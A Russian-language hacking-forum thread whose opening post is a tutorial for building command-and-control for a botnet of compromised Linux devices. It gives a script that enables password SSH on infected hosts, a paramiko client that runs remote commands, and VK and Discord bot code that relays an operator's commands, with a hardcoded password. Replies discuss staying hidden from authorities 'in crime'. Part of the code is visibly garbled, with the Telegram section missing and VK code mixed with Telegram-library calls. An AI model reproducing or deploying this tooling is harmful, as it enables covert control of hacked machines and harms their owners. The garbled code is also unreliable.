HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.08.2019, 19:43
KJhgIO
Познающий
Регистрация: 02.08.2019
Сообщений: 72
С нами: 3570090

Репутация: 0
По умолчанию

Привет античат , представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.

Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)

Однако это не лучший вариант и у меня есть аргументы :

1. Уязвимость перед exploit'ами
(вы только взгляните на это и на это)
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами

Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.

Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже сайт где их сливают =0

Однако есть свои минусы :

1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.

2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0

3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.

И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку paramiko (либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:

victim = server
attacker = client
attacker => victim

Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.

Пишем сервер :

В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения

Bash:


Код:
#!/bin/bash
apt
install
openssh -y
systemctl start
ssh
#это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды
##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать  в выше указанные файлы
Клиент :
Устанавливаем python3

Код:
apt install python3
Устанавливаем paramiko

Код:
pip3 install paramiko
Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код

Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko:
Код:
apt install python3 && pip3 install paramiko
4. Текущий функционал - проверка онлайна и отправка комманд по ssh

Python:


Код:
import
paramiko
#импорт paramiko для ssh
host
=
"localhost"
#обозначение переменных для аутентификации
user
=
"user"
#вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass
=
"toor"
#но я решил не заморачиваться и взять логины которые уже были в системе
port
=
22
#данный порт дефолтный практически для всех ssh приложений
def
interact
(
comandd
)
:
#функция для  отправки сообщений
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
stdin
,
stdout
,
stderr
=
client
.
exec_command
(
comandd
)
#это наша команда
outputt
=
stdout
.
read
(
)
+
stderr
.
read
(
)
##смотрим что нам отвечает хост и помечаем это как outputt
f
=
open
(
"output.txt"
,
"w"
)
##открываем файл для записи в него нашего outputt
f
.
write
(
outputt
.
decode
(
"utf-8"
)
)
##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
f
.
close
(
)
client
.
close
(
)
def
checkconnection
(
)
:
#функция для проверки подключения
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
client
.
close
(
)
#и отключаемся :)
данный код именуем client.py и размещаем в одну папку с вашим будующим ботом

Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord

Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить

И так начнём с вк
Установим либу vk_api

Код:
pip3 install vk_api
В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :

1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем

Кодим бота:
(документация vk_api)

Python:


Код:
#coding: utf8
import
client
#импорт клиента для бот сети
import
random
import
vk_api
#импортируем библиотеки для вк
from
vk_api
.
longpoll
import
VkLongPoll
,
VkEventType
def
write_msg
(
user_id
,
message
)
:
#функция которая будет вызываться при отправке сообщений
randomid
=
random
.
randint
(
10
,
99999
)
##вк для отправки требует рандомное число, каждый раз, неясно зачем
vk
.
method
(
'messages.send'
,
{
'user_id'
:
user_id
,
'message'
:
message
,
'random_id'
:
randomid
}
)
token
=
"ТУТ-ВАШ-ТОКЕН"
#немного действий для верификации
vk
=
vk_api
.
VkApi
(
token
=
token
)
longpoll
=
VkLongPoll
(
vk
)
print
(
"bot is work!"
)
def
main
(
)
:
for
event
in
longpoll
.
listen
(
)
:
#ждем новых сообщений
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
#если они появляються начинаем действовать
write_msg
(
event
.
user_id
,
"please, enter password!"
)
#просим pass
for
event
in
longpoll
.
listen
(
)
:
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
and
event
.
text
==
(
"IMAROOT"
)
:
#проверям pass
write_msg
(
event
.
user_id
,
"welcome to botnet admin panel"
)
try
:
#проверяем подключение с хостом
client
.
checkconnection
(
)
write_msg
(
event
.
user_id
,
"1 host is online, start interacting with him?(Yes/No)"
)
for
event
in
longpoll
.
listen
(
)
:
#спрашиваем хочет ли юзер взаимодействовать с ним
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
if
event
.
text
==
(
"Yes"
)
:
write_msg
(
event
.
user_id
,
"start interacting with host1..."
)
write_msg
(
event
.
user_id
,
"print => (exit) = (exit) <= to close connect with host 1"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"enter something to host!"
)
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#если согласен, то начинаем взаимодействие
elif
message
.
text
==
(
"No"
)
:
bot
.
send_message
(
message
.
from_user
.
id
,
"okay"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"exit from admin panel..."
)
def
hostinteract
(
message
)
:
#функция для взаимодействия с хостом
if
message
.
text
==
(
"exit"
)
:
#если юзер хочет выйти, даем ему это сделать
bot
.
send_message
(
message
.
from_user
.
id
,
"stopping interact with host 1..."
)
else
:
#если нет, то:
commandd
=
message
.
text
        client
.
interact
(
commandd
)
#передаем хосту месседж клиента
f
=
open
(
"output.txt"
,
"r"
)
#открываем файл с outputt
output
=
f
.
read
(
)
#считываем outputt
f
.
close
(
)
#закрываем файл с outputt
bot
.
send_message
(
message
.
from_user
.
id
,
output
)
#отсылаем outputt юзеру
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#снова запускаем эту функцию
bot
.
polling
(
none_stop
=
True
,
interval
=
0
)
##постаянная проверка на наличие новых сообщений боту
Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы

И последним на очереди у нас discord

Важно: discord api для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)

Лично я решил выбрал python3.5

Код:
apt install python3.5
Установим discord_api и paramiko для этой версии пайтона

Код:
python3.5 -m pip install discord.py paramiko
Также discord требует asyncio

Код:
python3.5 -m pip install asyncio
В дискорде чтобы зарегестрировать бота необходимо создать еще и отдельный discord-сервер, благо это делаеться за несколько секунд

Сама регистрация бота здесь сложнее чем в вк и телеграмме

Теперь приступаем к написанию бота :

Python:


Код:
import
discord
#импортируем либы для дискорда
import
asyncio
#импорт либ для ассинхронных сообщений
import
clienteres
#импортируем клиент для ботнета, я его переименовал дабы избежать ошибок
TOKEN
=
(
"ТУТ_ВАШ_ТОКЕН"
)
#авторизуемся с токеном
client
=
discord
.
Client
(
)
#help справка
helpbot
=
(
"""              
aviable  next commands:                                      
 |---------------------------------------------------------|  
 |!help        | get this help                   |  
 |!home     | get info about botnet     |  
 |!login      | login to admin panel      |  
 |!session | start interact with host  |  
 |---------------------------------------------------------|  

"""
)
f
=
open
(
"check.txt"
,
"w"
)
#создаем файл для бд логинов
f
.
close
(
)
@client.event
async
def
on_message
(
message
)
:
#ждем сообщений
if
message
.
author
!=
client
.
user
:
#проверяем что автор сообщения это не бот
if
message
.
content
==
(
"!help"
)
:
#выдаем справку (help)
await
message
.
channel
.
send
(
helpbot
)
if
message
.
content
==
(
"!home"
)
:
#функция для проверки онлайна
f
=
open
(
"check.txt"
,
"r"
)
#открываем файл с логинами авторизованных юзеров
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
in
str
(
check
)
:
#если логин этого пользователя там есть, то разрешаем пользование
await
message
.
channel
.
send
(
"welcome to admin botnet panel!"
)
try
:
clienteres
.
checkconnection
(
)
#предупреждаем если хосты онлайн
await
message
.
channel
.
send
(
""" host is online!! to connect with him enter "!session" """
)
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
##предупреждаем если все хосты офф
await
message
.
channel
.
send
(
"all hosts is offline!! please try later!"
)
else
:
#если юзер не залогинен, то просим залогиниться
await
message
.
channel
.
send
(
"Please login with command !login "
)
if
message
.
content
==
(
"!login"
)
:
#функция для авторизации
await
message
.
channel
.
send
(
"Please enter password!"
)
if
message
.
content
==
(
"IMAROOT"
)
:
#если пароль правильный
f
=
open
(
"check.txt"
,
"w"
)
#заносим никнейм пользователя в нашу мини бд
f
.
write
(
str
(
message
.
author
)
)
f
.
close
(
)
await
message
.
channel
.
send
(
"You succesfull login! Now you can use all options!"
)
if
message
.
content
==
(
"!session"
)
:
#функция для взаимодействия с хостом
f
=
open
(
"check.txt"
,
"r"
)
#чекаем есть ли логин юзера в нашей мини бд
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
not
in
check
:
#если нет просим залогиниться
await
message
.
channel
.
send
(
"Please login use !login"
)
else
:
#если логин есть, то пропускаем к сессии
try
:
clienteres
.
checkconnection
(
)
#проверям коннект
await
message
.
channel
.
send
(
"Start interacting with host 1"
)
await
message
.
channel
.
send
(
""" Enter "exit" to close session """
)
@client.event
async
def
on_message
(
message
)
:
#функция отправки сообщений для хоста и отсылкой ответов
if
message
.
author
!=
client
.
user
:
if
message
.
content
==
(
"exit"
)
:
#exit для выхода
await
message
.
channel
.
send
(
"You exit from admin panel..."
)
else
:
comandd
=
message
.
content
                                clienteres
.
interact
(
comandd
)
#передаем команду хосту
f
=
open
(
"output.txt"
,
"r"
)
#смотрим output
output
=
f
.
read
(
)
f
.
close
(
)
await
message
.
channel
.
send
(
output
)
#отсылаем output
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
#если коннекта нет , так и пишем
await
message
.
channel
.
send
(
"Host is offline! Please try later!"
)
commandss
=
[
"!help"
,
"!home"
,
"!login"
,
"!session"
,
"IMAROOT"
]
if
message
.
content
not
in
commandss
:
await
message
.
channel
.
send
(
"Enter !help to more information"
)
client
.
run
(
TOKEN
)
#запускаем бота!
print
(
"bot is work!"
)
На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание
 
Ответить с цитированием

  #2  
Старый 23.06.2020, 13:44
Ludovic13
Новичок
Регистрация: 23.06.2020
Сообщений: 0
С нами: 3100609

Репутация: 0
По умолчанию

Эммм , а как ФСБ придёт к тебе с историей переписок , если телега даже сейчас не сливает данные пользователей , если ты не терр?
 
Ответить с цитированием

  #3  
Старый 23.06.2020, 18:40
morgot
Новичок
Регистрация: 26.07.2018
Сообщений: 0
С нами: 4106487

Репутация: 0
По умолчанию

Цитата:

Ludovic13 сказал(а):

если телега даже сейчас не сливает данные пользователей

Вы в это всерьез верите?)
 
Ответить с цитированием

  #4  
Старый 24.06.2020, 17:44
Ludovic13
Новичок
Регистрация: 23.06.2020
Сообщений: 0
С нами: 3100609

Репутация: 0
По умолчанию

Цитата:

morgot сказал(а):

Вы в это всерьез верите?)

По крайней мере побывав на начале его создания , такого не было мб уже все изменилось ....
 
Ответить с цитированием

  #5  
Старый 25.06.2020, 23:29
morgot
Новичок
Регистрация: 26.07.2018
Сообщений: 0
С нами: 4106487

Репутация: 0
По умолчанию

В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.
 
Ответить с цитированием

  #6  
Старый 26.06.2020, 19:51
Ludovic13
Новичок
Регистрация: 23.06.2020
Сообщений: 0
С нами: 3100609

Репутация: 0
По умолчанию

Цитата:

morgot сказал(а):

В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.

А как насчёт телеграфа , там сложно будет кого-то вычислить ?
 
Ответить с цитированием

  #7  
Старый 26.06.2020, 19:58
morgot
Новичок
Регистрация: 26.07.2018
Сообщений: 0
С нами: 4106487

Репутация: 0
По умолчанию

Цитата:

Ludovic13 сказал(а):

А как насчёт телеграфа , там сложно будет кого-то вычислить ?

Не могу сказать, просто не верю в сказки хоть Дурова, хоть кого еще. Никто не будет бесплатно хостить ботнеты.
 
Ответить с цитированием

  #8  
Старый 26.06.2020, 20:00
Ludovic13
Новичок
Регистрация: 23.06.2020
Сообщений: 0
С нами: 3100609

Репутация: 0
По умолчанию

Цитата:

morgot сказал(а):

Не могу сказать, просто не верю в сказки хоть Дурова, хоть кого еще. Никто не будет бесплатно хостить ботнеты.

Учту
 
Ответить с цитированием

  #9  
Старый 03.12.2020, 09:50
Николай Мирных
Новичок
Регистрация: 17.10.2020
Сообщений: 0
С нами: 2934023

Репутация: 0
По умолчанию

не работает, постоянно спрашивает пароль, я ввожу и правильный и неправильной одно и тоже
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.